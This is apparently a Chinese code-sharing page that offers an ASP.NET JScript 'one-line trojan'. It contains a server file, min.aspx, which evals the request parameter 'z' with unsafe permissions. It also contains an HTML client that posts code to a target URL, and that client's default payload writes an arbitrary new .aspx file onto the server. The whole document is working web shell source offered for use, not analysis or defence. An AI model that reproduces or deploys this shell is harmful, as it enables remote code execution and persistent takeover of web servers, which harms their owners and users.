asp.net jscript 一句话木马
min.aspx
复制代码 代码如下:
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>
复制代码 代码如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <style type="text/css"> td,table,tr { list-style: none; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 180%; } input,textarea { width:780px; } </style> <title>aspx一句话木马客户端</title></head> <body bgcolor="D4D0C8"> <hr> <table width="100%" border="0" cellpadding="4" cellspacing="0" bgcolor="#D4D0C8"> <form action="sdfsdf" method="post" name="sform" id="sform"> <tr> <td width="74" align="right" valign="bottom">URL：</td> <td width="885" valign="bottom"><input name="URL" type="text" id="URL" value="http://" /></td> </tr> <tr> <td align="right" valign="top">操作：</td> <td><textarea name=z rows=10 width=45> var nonamed=new System.IO.StreamWriter(Server.MapPath("名称.aspx"),false); nonamed.Write(Request.Item["l"]); nonamed.Close();</textarea></td> </tr> <tr> <td align="right" valign="top">写入内容：</td> <td><p> <textarea name=l rows=13 width=45></textarea> <input type="button" value="提交" onclick="javascript:document.sform.action=document.sform.URL.value;submit();" /> </p> </td> </tr> <tr> <td align="right"> </td> <td> <div align="left"> <p>服务端: min.aspx 客户端：client.htm</p> </div> </td> </tr> </form> </table> <hr> </BODY> </HTML>